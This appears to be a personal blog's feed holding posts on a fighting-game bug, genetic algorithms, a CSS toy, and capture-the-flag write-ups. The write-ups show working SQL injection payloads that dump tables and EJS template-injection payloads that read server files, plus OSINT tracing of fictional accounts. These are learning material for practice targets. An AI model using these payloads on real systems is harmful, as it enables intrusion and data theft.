<p>Cowboy’s air options are limited. Generally, all of his aerial moves are low-damaging and high knockback. But with access to grounded moves in the air, Cowboy’s air combo potential grew immensely. For example, the move Stinger: slow windup, but long poking range and high damaging, and knocking the enemy prone upon hitting the ground. However, it’s true usage lies in its property, Infinite Hitstun. Yomi Hustle works on a stun-based system, when you’re stunned, you can adjust a Directional Influence (DI) wheel to influence your knockback. DI-ing upward is a great way to escape combos, because your enemies have to use up limited air options to chase you, which will force them to drop the combo. Infinite Hitstun keeps the enemy stunned until they hit the ground. Being able to hit Stinger and turn a combo ender into a combo extender drastically raised damage output.</p>

<p>Even worse, Cowboy has another grounded move, Backslash, which is an upward slash generally used for anti-air. However, Backslash has a sweet spot hitbox that deals extra damage if landed, and is extremely difficult to land on the ground, but very easy to land with the extra positioning in the air.</p>

<p>Expired Milk helped, but wasn’t revolutionary, it required a ton of setup (foresight, comboing, positioning, etc)</p>

<h2 id="fresh-milk">Fresh Milk</h2>

<p>One day, an innocent message was posted in the discord, which eventually led to a discussion about Expired Milk. A labber called Pilebunker was confused at Expired Milk, apparently he had been doing it a different way the entire time, and just didn’t realise. However, the clips he showed were revolutionary; he had heard vaguely about Expired Milk, tested it out, and assumed that what he saw was what everyone else was doing.</p>

<p>His tech works because YOMI doesn’t check the validity of a move before confirmation, because YOMI only puts the moves you’re allowed to use onto your UI to begin with (therefore assuming that all moves on your UI are legal). Essentially, the tech works by setting up a grounded foresight while in the air. While still aerial, you activate the foresight Shift toggle (shifting your moves to grounded) and then immediately de-toggle Shift and lock in the move. What this does is confirm the move before the game is able to shift your moves back to aerial, which bypasses the game’s check.</p>

<p>This was revolutionary, removing the need to actually transition between aerial and grounded states, and simply using a mechanical input to trick the game into letting you use the wrong moves. Moreover, since Fresh Milk doesn’t consume the foresight (hence keeping it fresh), it can be chained as many times as you want.</p>

<p>Fresh Milk overcame Cowboy’s slow ground movement by allowing Cowboy to use his faster air-dash while grounded, letting him match the other characters in terms of grounded mobility. Grounded Lightning Slash only allows you to aim forward, but aerial Lightning Slash can be aimed upward around Cowboy. Aerial blocks are treated as both blocking low and high moves, which removed the risk brought about by simply blocking on the ground, as most attacks could be safely parried.</p>

<h2 id="rip-fresh-milk">RIP Fresh Milk</h2>

<p>Ivy tried and failed multiple times to patch out fresh milk.</p>

<p>However, this only made the input timing tighter, which made fresh milk still possible on supremely laggy computers and automated macros. For example, by preparing an AutoHotkey script to type 12mb of text into the chatbox at once, the game would lag enough to make fresh milk possible, or even negative edge inputs (holding then releasing keys simultaneously).</p>

<p>Eventually, Fresh Milk was worked into the game officially as Drift, an additional toggle on Foresight. This is only usable if the Foresight afterimage is in the opposite air-ground state from the user, causing the afterimage to explode, and was functionally the same as Fresh Milk, except for the fact that it could be predicted via the game’s move system.</p>

<p>This was a really cool addition that’s an example of developers turning a bug into a feature.</p>

<p>(Mutant still the better character imo)</p>

<h2 id="conclusion">Conclusion</h2>

<p>funny milk bug, play the game.</p>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[Your Only Move Is Hustle (YOMI Hustle) is a turn-based fighting game that takes the usual turn-based formula (a la Pokemon) and flips it on its head. Users can pick from a pool of available moves from their current position, and they are executed at the same time, sort of like a convoluted game of rock-paper-scissors. The game freezes on the frame when at least one combatant becomes actionable, and allows for actions to be made again.]]></summary></entry><entry><title type="html">genetic algorithms</title><link href="https://aidanvoidout.github.io/genetic-algorithms/" rel="alternate" type="text/html" title="genetic algorithms" /><published>2025-08-29T10:29:20+08:00</published><updated>2025-08-29T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/genetic-algorithms</id><content type="html" xml:base="https://aidanvoidout.github.io/genetic-algorithms/"><![CDATA[<p>genetic algorithms are a subset of artificial intelligence inspired by the process of natural selection, offering a way to solve optimisation problems by simulating evolution.</p>

<h3 id="the-process-of-genetic-algorithms">the process of genetic algorithms</h3>

<p>genetic algorithms operate on a <b>population</b> of candidate solutions, which allows the algorithm to explore multiple solutions in parallel.</p>

<p>as per evolution, genetic algorithms need a way to separate the strong from the weak. this is done through a <i>fitness function</i>, which serves as a way to evaluate the quality of this solution via a set of criteria. for example, if the problem was to find the most optimised schedule, solutions might be evaluated on how many tasks were fit within the schedule’s time period and penalised based on the amount of idle time left over.</p>

<p>in nature, fitter individuals are more likely to survive due to their traits, allowing them to reproduce and their attributes on. genetic algorithms combine the traits of two parents in a process called <i>crossover</i>. in problem-solving terms, this is done so because two fit solutions/two strong parents will be able to produce fitter solutions/stronger descendants.</p>

<p>moreover, genetic algorithms also have to introduce the process of mutation to ensure diversity in solutions and prevent overfitting. suppose a problem had one variable and the genetic algorithm converged until all members of the population perfectly met the fitness function’s requirements. if this variable were to change, none of the population would be able to adapt to the new conditions, as all of their traits had already converged to perfectly fit the old condition, and no amount of crossover will be able to produce a solution. in biological terms, mutation is the element of randomness that introduces unique traits in the hope that the trait will come in useful in the event of a great filter.</p>

<p>once a new generation of individuals is created through selection, crossover, and mutation, the old population is replaced. the cycle repeats: fitness is evaluated again, parents are chosen, and new children are created. over successive generations, the population tends to improve,  as species in nature adapt over many lifetimes.</p>

<p>this video by Computerphile explores the application of genetic algorithms with the well-known knapsack problem (commonly solved in competitive programming using dynamic programming, but oh well)</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/MacVqujSXWE?si=WB98LLiBERNSQOEb" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen=""></iframe>

<h3 id="simulation">simulation!</h3>
<p>i made a simulation to illustrate the principles of genetic algorithms, optimising the problem of camouflage (matching colours).</p>

<p>oops, currently being fixed</p>
<div class="game-container">
  <iframe src="/assets/demos/camouflage/genetic%20algorithms!.html" frameborder="0" allowfullscreen="" webkitallowfullscreen="" mozallowfullscreen=""></iframe>
</div>

<p>in this simulation, a population of 100 matches their colour to a target colour. parents are chosen randomly, but are weighted by their fitness scores.</p>

<p>population is randomly generated at the start:</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">face</span><span class="o">.</span><span class="n">modulate</span> <span class="o">=</span> <span class="kt">Color</span><span class="p">(</span><span class="nf">randf</span><span class="p">(),</span> <span class="nf">randf</span><span class="p">(),</span> <span class="nf">randf</span><span class="p">())</span>
</code></pre></div></div>

<p>fitness function evaluates the closeness of each population’s color to the target color, by taking the difference of each color and taking the magnitude:</p>
<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">func</span> <span class="nf">fitness</span><span class="p">(</span><span class="nv">face</span><span class="p">:</span> <span class="kt">Node2D</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nv">float</span><span class="p">:</span>
    <span class="k">var</span> <span class="nv">c</span> <span class="o">=</span> <span class="n">face</span><span class="o">.</span><span class="n">modulate</span>
    <span class="k">var</span> <span class="nv">dr</span> <span class="o">=</span> <span class="n">c</span><span class="o">.</span><span class="n">r</span> <span class="o">-</span> <span class="n">target_color</span><span class="o">.</span><span class="n">r</span>
    <span class="k">var</span> <span class="nv">dg</span> <span class="o">=</span> <span class="n">c</span><span class="o">.</span><span class="n">g</span> <span class="o">-</span> <span class="n">target_color</span><span class="o">.</span><span class="n">g</span>
    <span class="k">var</span> <span class="nv">db</span> <span class="o">=</span> <span class="n">c</span><span class="o">.</span><span class="n">b</span> <span class="o">-</span> <span class="n">target_color</span><span class="o">.</span><span class="n">b</span>
    <span class="k">var</span> <span class="nv">d</span> <span class="o">=</span> <span class="nf">sqrt</span><span class="p">(</span><span class="n">dr</span> <span class="o">*</span> <span class="n">dr</span> <span class="o">+</span> <span class="n">dg</span> <span class="o">*</span> <span class="n">dg</span> <span class="o">+</span> <span class="n">db</span> <span class="o">*</span> <span class="n">db</span><span class="p">)</span>
    <span class="k">return</span> <span class="mf">1.0</span> <span class="o">-</span> <span class="p">(</span><span class="n">d</span> <span class="o">/</span> <span class="nf">sqrt</span><span class="p">(</span><span class="mf">3.0</span><span class="p">))</span>
</code></pre></div></div>

<p>to breed the next generation of solutions, we select fit parents using roulette wheel selection:</p>
<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">func</span> <span class="nf">_select_parent</span><span class="p">()</span> <span class="o">-&gt;</span> <span class="kt">Color</span><span class="p">:</span>
    <span class="k">var</span> <span class="nv">total_fitness</span> <span class="o">=</span> <span class="mf">0.0</span>
    <span class="k">for</span> <span class="n">face</span> <span class="k">in</span> <span class="nv">population</span><span class="p">:</span>
        <span class="n">total_fitness</span> <span class="o">+=</span> <span class="nf">fitness</span><span class="p">(</span><span class="n">face</span><span class="p">)</span>
    <span class="o">...</span>
    <span class="k">var</span> <span class="nv">pick</span> <span class="o">=</span> <span class="nf">randf</span><span class="p">()</span> <span class="o">*</span> <span class="n">total_fitness</span>
    <span class="k">var</span> <span class="nv">running_sum</span> <span class="o">=</span> <span class="mf">0.0</span>
    <span class="k">for</span> <span class="n">face</span> <span class="k">in</span> <span class="nv">population</span><span class="p">:</span>
        <span class="n">running_sum</span> <span class="o">+=</span> <span class="nf">fitness</span><span class="p">(</span><span class="n">face</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">running_sum</span> <span class="o">&gt;=</span> <span class="nv">pick</span><span class="p">:</span>
            <span class="k">return</span> <span class="n">face</span><span class="o">.</span><span class="n">modulate</span>
</code></pre></div></div>

<p>each RGB component of the child is randomly inherited from one of the parents. in a former patch, the child inherited the average of the parents, but this caused the simulation to tend towards a dull grey with varying tones of other colours.</p>

<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">func</span> <span class="nf">_crossover</span><span class="p">(</span><span class="nv">c1</span><span class="p">:</span> <span class="kt">Color</span><span class="p">,</span> <span class="nv">c2</span><span class="p">:</span> <span class="kt">Color</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">Color</span><span class="p">:</span>
    <span class="k">var</span> <span class="nv">red</span> <span class="o">=</span> <span class="n">c1</span><span class="o">.</span><span class="n">r</span> <span class="k">if</span> <span class="nf">randf</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.5</span> <span class="k">else</span> <span class="n">c2</span><span class="o">.</span><span class="n">r</span>
    <span class="k">var</span> <span class="nv">green</span> <span class="o">=</span> <span class="n">c1</span><span class="o">.</span><span class="n">g</span> <span class="k">if</span> <span class="nf">randf</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.5</span> <span class="k">else</span> <span class="n">c2</span><span class="o">.</span><span class="n">g</span>
    <span class="k">var</span> <span class="nv">blue</span> <span class="o">=</span> <span class="n">c1</span><span class="o">.</span><span class="n">b</span> <span class="k">if</span> <span class="nf">randf</span><span class="p">()</span> <span class="o">&lt;</span> <span class="mf">0.5</span> <span class="k">else</span> <span class="n">c2</span><span class="o">.</span><span class="n">b</span>
    <span class="k">return</span> <span class="kt">Color</span><span class="p">(</span><span class="n">red</span><span class="p">,</span> <span class="n">green</span><span class="p">,</span> <span class="n">blue</span><span class="p">)</span>
</code></pre></div></div>

<p>to keep the simulation diverse and prevent premature convergence:</p>
<div class="language-swift highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">func</span> <span class="nf">_mutate</span><span class="p">(</span><span class="nv">c</span><span class="p">:</span> <span class="kt">Color</span><span class="p">,</span> <span class="nv">rate</span><span class="p">:</span> <span class="n">float</span> <span class="o">=</span> <span class="mf">0.05</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">Color</span><span class="p">:</span>
    <span class="k">if</span> <span class="nf">randf</span><span class="p">()</span> <span class="o">&lt;</span> <span class="nv">rate</span><span class="p">:</span>
        <span class="k">return</span> <span class="kt">Color</span><span class="p">(</span>
            <span class="nf">clamp</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">r</span> <span class="o">+</span> <span class="nf">randf_range</span><span class="p">(</span><span class="o">-</span><span class="mf">0.1</span><span class="p">,</span> <span class="mf">0.1</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
            <span class="nf">clamp</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">g</span> <span class="o">+</span> <span class="nf">randf_range</span><span class="p">(</span><span class="o">-</span><span class="mf">0.1</span><span class="p">,</span> <span class="mf">0.1</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span>
            <span class="nf">clamp</span><span class="p">(</span><span class="n">c</span><span class="o">.</span><span class="n">b</span> <span class="o">+</span> <span class="nf">randf_range</span><span class="p">(</span><span class="o">-</span><span class="mf">0.1</span><span class="p">,</span> <span class="mf">0.1</span><span class="p">),</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">)</span>
        <span class="p">)</span>
    <span class="k">return</span> <span class="n">c</span>
</code></pre></div></div>

<p>as an interesting result of this, when the target colour has rgb components at the limits (0.0 or 1.0), the children tend to evolve colours closer to the target colour. this could be because the bounds of the child’s colour is limited, causing larger proportions of the children to develop such traits.</p>

<hr />

<p>this small project demonstrates the power and beauty of genetic algorithms. while my example evolves colors toward a target, the same principles can scale to far more complex challenges. genetic algorithms don’t guarantee perfection, but they provide a robust way to discover good solutions in large search spaces.</p>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[genetic algorithms are a subset of artificial intelligence inspired by the process of natural selection, offering a way to solve optimisation problems by simulating evolution.]]></summary></entry><entry><title type="html">noun verbed</title><link href="https://aidanvoidout.github.io/noun-verbed/" rel="alternate" type="text/html" title="noun verbed" /><published>2025-08-29T10:29:20+08:00</published><updated>2025-08-29T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/noun-verbed</id><content type="html" xml:base="https://aidanvoidout.github.io/noun-verbed/"><![CDATA[<link href="https://fonts.googleapis.com/css2?family=Cinzel:wght@700&amp;display=swap" rel="stylesheet" />

<style>
.boss-bar-container {
  position: fixed;
  inset: 0;
  width: 100vw;
  height: 100vh;
  display: flex;
  justify-content: center;
  align-items: center;
  pointer-events: none;
  z-index: 99999;
  font-family: 'Cinzel', serif;
  overflow: hidden;
}

.boss-bar-container .boss-bar {
  position: absolute;
  width: 100%;
  height: 8.5rem;
  top: 50%;
  left: 50%;
  transform: translate(-50%, -50%);
  background: linear-gradient(
    to bottom,
    rgba(0,0,0,0),
    rgba(0,0,0,0.4) 19%,
    rgba(0,0,0,0.8) 50%,
    rgba(0,0,0,0.7) 80%,
    rgba(0,0,0,0)
  );
  z-index: 0;
  opacity: 0;
  filter: blur(4px);
}

.boss-bar-container .boss-defeat {
  position: relative;
  font-size: 5rem;
  letter-spacing: 0.25rem;
  text-align: center;
  text-transform: uppercase;
  z-index: 1;
  background: linear-gradient(to bottom, #f7e7b2, #d9b650, #8c6a2f);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
  text-shadow:
    0 0 10px rgba(255,215,100,0.6),
    0 0 30px rgba(255,180,50,0.4),
    0 0 60px rgba(150,100,20,0.2);
  opacity: 0;
}

.boss-bar-container .boss-defeat::before {
  content: attr(data-text);
  position: absolute;
  top: 0;
  left: 0;
  right: 0;
  bottom: 0;
  font-size: inherit;
  letter-spacing: 0.25rem;
  opacity: 0.25;
  transform: scaleX(1);
  filter: blur(2px);
  background: linear-gradient(to bottom, #c9a74d, #7d5c28);
  -webkit-background-clip: text;
  -webkit-text-fill-color: transparent;
}

.boss-bar-container.active .boss-bar {
  animation: boss-bar-fade 6s ease-in-out forwards;
}

.boss-bar-container.active .boss-defeat {
  animation: boss-front-fade 6s ease-in-out forwards;
}

.boss-bar-container.active .boss-defeat::before {
  animation: boss-back-stretch-fade 6s ease-in-out forwards;
}

@keyframes boss-front-fade {
  0%   { opacity: 0; transform: scale(1.15); }
  15%  { opacity: 1; transform: scale(1); }
  75%  { opacity: 1; transform: scale(1); }
  90%  { opacity: 0; transform: scale(0.98); }
  100% { opacity: 0; transform: scale(0.98); }
}

@keyframes boss-back-stretch-fade {
  0%   { opacity: 0.25; transform: scaleX(1); }
  10%  { opacity: 0.25; transform: scaleX(1); }
  90%  { opacity: 0; transform: scaleX(1.3); }
  100% { opacity: 0; transform: scaleX(1.3); }
}

@keyframes boss-bar-fade {
  0%   { opacity: 0; }
  15%  { opacity: 1; }
  75%  { opacity: 1; }
  90%  { opacity: 0; }
  100% { opacity: 0; }
}

@media (max-width: 480px) {
  .boss-bar-container .boss-defeat,
  .boss-bar-container .boss-defeat::before {
    font-size: 3rem;
  }
}
</style>

<div class="boss-bar-container">
  <div class="boss-bar"></div>
  <div class="boss-defeat" data-text="NOUN VERBED">NOUN VERBED</div>
</div>

<p>I tried to learn css animation and failed horribly, so have this partially ChatGPTed elden ring boss text generator.</p>

<div>
  <input type="text" id="boss-text" placeholder="NOUN VERBED" />
  <button id="boss-trigger">noun your verb</button>
</div>

<script>
const container = document.querySelector('.boss-bar-container');
const defeatText = document.querySelector('.boss-defeat');
const input = document.getElementById('boss-text');
const button = document.getElementById('boss-trigger');

button.addEventListener('click', () => {
  const text = input.value.trim() || 'NOUN VERBED';
  defeatText.textContent = text;
  defeatText.setAttribute('data-text', text);

  container.classList.remove('active');
  void container.offsetWidth;
  container.classList.add('active');
});
</script>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[]]></summary></entry><entry><title type="html">sentinels chals writeups</title><link href="https://aidanvoidout.github.io/sentinel_ctfs/" rel="alternate" type="text/html" title="sentinels chals writeups" /><published>2025-08-29T10:29:20+08:00</published><updated>2025-08-29T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/sentinel_ctfs</id><content type="html" xml:base="https://aidanvoidout.github.io/sentinel_ctfs/"><![CDATA[<h2 id="link">link</h2>
<p>https://sentinelsofvigil.ctfd.io/team</p>

<h2 id="-tiers-of-naughtiness-web-150">&gt; Tiers of Naughtiness (Web, 150)</h2>

<p>upon following the challenge instructions and entering ‘playitprobro’ into the url parameter, we are given the output</p>

<p><code class="language-plaintext highlighter-rouge">NAUGHTY: playitprobro is in tier -&gt; 3</code></p>

<p>it can be confirmed that this challenge is sqli by entering a single <code class="language-plaintext highlighter-rouge">'</code> quote in the url parameter, yielding an SQL Error: unrecognized token: “’’’”</p>

<p>with sqli, we start by identifying the number of columns that is reflected in output, with the payload <code class="language-plaintext highlighter-rouge">sql ?name=' UNION SELECT NULL--</code>, which yields another SQL Error: SELECTs to the left and right of UNION do not have the same number of result columns</p>

<p>we systematically increase the number of NULL’s in the payload until the app stops throwing errors.</p>

<table>
  <tbody>
    <tr>
      <td>payload</td>
      <td>result</td>
    </tr>
    <tr>
      <td>?name=’ UNION SELECT NULL, NULL, NULL–</td>
      <td>NAUGHTY: None is in tier -&gt; None</td>
    </tr>
  </tbody>
</table>

<p>the database has accepted our offering of three NULLs and we can proceed forth. now, we determine which columns are visible in the output with payload <code class="language-plaintext highlighter-rouge">?name=' UNION SELECT 'AAA','BBB','CCC'--+</code>, producing output</p>

<p><code class="language-plaintext highlighter-rouge">NAUGHTY: BBB is in tier -&gt; CCC</code></p>

<p>i attempt to list the names of tables using the payload <code class="language-plaintext highlighter-rouge">?name=' UNION SELECT NULL,database(),version()--+</code> but this threw an SQL Error: no such function: database.</p>

<p>i then reattempt using a payload designed for sqlite <code class="language-plaintext highlighter-rouge">?name=' UNION SELECT NULL,name,type FROM sqlite_master WHERE type='table'--+</code>, which produces output</p>

<p><code class="language-plaintext highlighter-rouge">NAUGHTY: tier_one_secret_123081223_autonau is in tier -&gt; table</code></p>

<p>we found something tasty. use the payload <code class="language-plaintext highlighter-rouge">?name=' UNION SELECT NULL,name,type FROM pragma_table_info('tier_one_secret_123081223_autonau')--+</code> to read its columns</p>

<p><code class="language-plaintext highlighter-rouge">NAUGHTY: hahah_hi_user is in tier -&gt; TEXT</code></p>

<p>now, directly dump the flag: <code class="language-plaintext highlighter-rouge">?name=' UNION SELECT NULL,hahah_hi_user,NULL FROM tier_one_secret_123081223_autonau--+</code>. this produces the output:</p>

<p><code class="language-plaintext highlighter-rouge">NAUGHTY: SENTI{my_blind_sql_injection_chall_failed_so_heres_a_normal_one :( } is in tier -&gt; None</code></p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{my_blind_sql_injection_chall_failed_so_heres_a_normal_one :( }</code></p>

<h2 id="-fuzz-web-150">&gt; Fuzz (Web, 150)</h2>
<p>https://sentinelsofvigil-fuzz.chals.io</p>

<p>web fuzzing is testing various inputs for a web app and hoping to induce unwanted behaviour, basically just poke it until it screams</p>

<p>in this website, we are provided a text input. upon submitting the input, the app reflects the input.</p>

<p>my first instinct was using the payload <code class="language-plaintext highlighter-rouge">javascript &lt;script&gt;alert(1337)&lt;/script&gt;</code>, which successfully reflected an alert popup. this suggests XSS but nothing much can be done with that alone</p>

<p>using the payload <code class="language-plaintext highlighter-rouge">sql ' OR 1=1;--</code> or similar simply reflects the input as is with no errors thrown, suggesting no sqli vulnerability</p>

<p>next i attempted ssti using the jinja2 payload <code class="language-plaintext highlighter-rouge">jinja2</code> but the input was again, simply reflected</p>

<p>i then did some googling and found the payload</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>%\.
</code></pre></div></div>

<p>on https://www.imperva.com/learn/application-security/server-side-template-injection-ssti/, which managed to throw an error, ‘Error: Could not find matching close tag for “&lt;%”.’</p>

<p>bingo. according to chatgpt this error comes from EJS (embedded javascript)</p>

<p>the payload <code class="language-plaintext highlighter-rouge">&lt;%= require('fs').readdirSync('.') %&gt;</code> yields an error
‘ReferenceError: ejs:1 » 1 Fuzzed &lt;%= require(‘fs’).readdirSync(‘.’) %&gt; require is not defined’</p>

<p>it looks like <code class="language-plaintext highlighter-rouge">require</code> is off limits… directly…</p>

<p>this can be circumvented by a payload like <code class="language-plaintext highlighter-rouge">&lt;%= global.process.mainModule.require('fs').readdirSync('.') %&gt;</code>, which lists all the contents of the source directory: ‘Fuzzed Dockerfile,app.js,flag.txt,node_modules,package-lock.json,package.json’</p>

<p>we want to read flag.txt, this can be done using the payload <code class="language-plaintext highlighter-rouge">&lt;%= this.constructor.constructor("return process.mainModule.require('fs').readFileSync('flag.txt', 'utf8')")() %&gt;</code></p>

<p>with that, we obtain the flag, <code class="language-plaintext highlighter-rouge">SENTI{n0t_s0_r4nd0m_1npu7}</code></p>

<h2 id="-convo-osint-350">&gt; Convo (OSINT, 350)</h2>
<p>our objective is to uncover the location that the user is staying at</p>

<p>our clues:</p>
<ul>
  <li>good view from the roof</li>
  <li>captivating city lights</li>
  <li>uniquely shaped roof</li>
  <li>expensive to stay at</li>
  <li>a two hour drive from Muar</li>
  <li>near somewhere with over 100 haute coutre pieces (i have no idea what this refers to)</li>
</ul>

<p>using common sense, we can deduce that said location is singapore’s marina bay sands</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{Marina_Bay_Sands} (probably, can't double check)</code></p>

<h2 id="-fisch-osint-150">&gt; Fisch (OSINT, 150)</h2>
<p>we are given a roblox screenshot of an npc.</p>

<p>we can visit the fisch fandom wiki and search up the Category for NPCs.</p>

<p>upon looking around, the NPC’s likeness can be found under Islands/Snowcap Island, named Wilson.</p>

<p>by going to Wilson’s wiki page, we can find the coordinates to the missing item:  X: 2880, Y: 138, Z: 2723.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{2880,138,2723}</code></p>

<h2 id="-work-1-osint-200">&gt; Work 1 (OSINT, 200)</h2>
<p>we are provided the image of someone’s brawl stars account</p>

<p>upon stealing my brawl stars addict friend’s phone, we can track down their profile by sending them a friend request. within the profile is a link to the employee’s twitter/X: @nomo reb rawl</p>

<p>a photo posted on the employee’s twitter shows their github username: C-employee-number-one</p>

<p>visiting their profile on github.com, we can identify the boss’ github account, ‘boss-of-slacker’. we can check out their commit history. by entering .patch behind the commit link, we can view the commit’s details, and find the boss’ email: ‘bigbosschan123@gmail.com’.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{bigbosschan123@gmail.com}</code></p>

<h2 id="-work-3-osint-200">&gt; Work 3 (OSINT, 200)</h2>
<p>a post on the employee’s twitter suggests the existence of a reddit account. 
another post suggests that they like to replace the spaces in their username with underscores, which is the reddit username format.
therefore, their username should be u/nomo_reb_rawl</p>

<p>by looking up their user on reddit, we can find a post on r/pcmasterrace where they mention the pc specs that they want to buy in a link to pcpartpicker.com.</p>

<p>from this, it can be found that the processor they want is the AMD Ryzen 7 7800X3D 4.2 GHz 8-Core Processor.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{AMD Ryzen 7 7800X3D}</code></p>

<h2 id="-work-4-osint-200">&gt; Work 4 (OSINT, 200)</h2>
<p>a post on the boss’ twitter suggests that the boss has an instagram.</p>

<p>first we attempted to look up the boss’ instagram via their email, but we didnt find anything meaningful</p>

<p>then we realised that if the boss’ twitter account was called ‘boss_work_acc’, the boss’ personal instagram account would be named in a similar fashion.</p>

<p>using this knowledge, we identified the boss’ instagram account at the username ‘boss_family_acc’</p>

<p>and we can identify his family members Zhilin (age 27), Linzong (age 11), Meilin (age 7)”</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{Meilin_Linzong_Zhilin}</code></p>

<h2 id="-work-5-osint-250">&gt; Work 5 (OSINT, 250)</h2>
<p>the employee ‘pasted’ their password somewhere.</p>

<p>this leads to the implication that they used a pastebin web service, such as pastebin.com</p>

<p>searching up the username NOMOREBRAWL on pastebin, we can find the employee’s password, ‘wasitacaroracatisaw’</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{wasitacaroracatisaw}</code></p>

<h2 id="-i-hate-gp-crypto-100">&gt; i hate gp (Crypto, 100)</h2>
<p>we are given a text file of strings of i_hategp.</p>

<p>each character in each i_hategp can vary. the letters can be upper or lower, while the underscore can be replaced with a space ( ). since the characters are grouped in 8s and the characters can have two variations each, it can be inferred that this cipher is binary.</p>

<p>through trial and error, the binary conversion can be inferred through two rules
if the second character is an underscore, the bit is 1, if it is a space then the bit is 0
if any letter is uppercase the bit is 1, otherwise the bit is 0</p>

<p>by putting it into chatgpt and telling it the rules, we can uncover the flag.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{I_L0v3_GP!1!}</code></p>

<h2 id="-nonsense-crypto-150">&gt; Nonsense (Crypto, 150)</h2>
<p>we are given a very suspicious looking string of emojis, 🥰😆🙂😘🤣{😚😂😛😁🤣😁😛🙃😗😁🙃😘😂🤣🥰} which obviously resembles a flag format.</p>

<p>my first thought was that these must be Unicode numbers mod 26, because surely the first five would map to SENTI (it didnt)</p>

<p>a friend then figured out that the emojis correspond to the first 26 emojis on a phone keypad, meaning each emoji = a letter A–Z.</p>

<p><code class="language-plaintext highlighter-rouge">23, 8, 25, 4, 9, 4, 25, 15, 21, 4, 15, 20, 8, 9, 19</code></p>

<p>which translates to</p>

<p><code class="language-plaintext highlighter-rouge">W H Y D I D Y O U D O T H I S</code></p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{WHYDIDYOUDOTHIS}</code></p>

<h2 id="-soundcheck-forensics-150">&gt; Soundcheck (Forensics, 150)</h2>

<p>we are presented with a zip full of .wav audio files.</p>

<p>upon taking a look at the contents, i sort the contents by file size, and one file stands out as larger due to its 3789kb file size as compared to the other .wav’s 173 kb.</p>

<p>upon listening to said .wav, the audio sounds very reminiscent of morse code.</p>

<p>placing the audio into a morse decoder yields the flag.</p>

<p>flag: <code class="language-plaintext highlighter-rouge">SENTI{BBEEEBEEPBOOPBEEEEEEPBOOPBOPBOPBOPBBOPBOP}</code></p>]]></content><author><name>aidan</name><email>aidanvoidout@gmail.com</email></author><category term="jekyll" /><category term="update" /><summary type="html"><![CDATA[link https://sentinelsofvigil.ctfd.io/team]]></summary></entry><entry><title type="html">brunnerctf postmortem</title><link href="https://aidanvoidout.github.io/brunner_ctf/" rel="alternate" type="text/html" title="brunnerctf postmortem" /><published>2025-08-29T10:29:20+08:00</published><updated>2025-08-29T10:29:20+08:00</updated><id>https://aidanvoidout.github.io/brunner_ctf</id><content type="html" xml:base="https://aidanvoidout.github.io/brunner_ctf/"><![CDATA[<h1 id="brunnerctf-writeups-and-postmortem">BrunnerCTF writeups and postmortem</h1>

<h2 id="-brunners-bakery-web-315-solves">&gt; Brunner’s Bakery (Web, 315 solves)</h2>
<p>the challenge description:
<code class="language-plaintext highlighter-rouge">Recent Graphs show that we need some more Quality of Life recipes! Can you go check if the bakery is hiding any?!</code></p>

<p>this, and from the source code</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;!DOCTYPE html&gt;</span> 
<span class="nt">&lt;html&gt;</span> 
    <span class="nt">&lt;head&gt;</span> 
        <span class="nt">&lt;title&gt;</span>Brunner's Bakery<span class="nt">&lt;/title&gt;</span> 
